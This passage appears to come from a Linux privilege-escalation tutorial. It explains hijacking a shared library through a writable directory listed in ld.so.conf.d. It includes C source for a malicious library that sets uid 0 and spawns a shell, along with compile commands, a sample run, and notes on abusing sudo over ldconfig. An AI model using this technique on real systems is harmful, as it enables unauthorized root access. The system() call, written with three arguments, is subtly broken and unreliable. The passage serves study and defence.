The vulnerable folder is _/home/ubuntu/lib_ \(where we have writable access\).
**Downloadand compile** the following code inside that path:
```c
//gcc -shared -o libcustom.so -fPIC libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void say_hi(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
```
Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** \(_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_\).
Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from:
As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed:
```c
$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu
```
{% hint style="info" %}
Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges.
In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.
But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it.
**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.**
{% hint style="info" %}
I **didn't find** a reliable way to exploit this vuln if `ldconfig` is configured with the **suid bit**. The following error appear: `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied`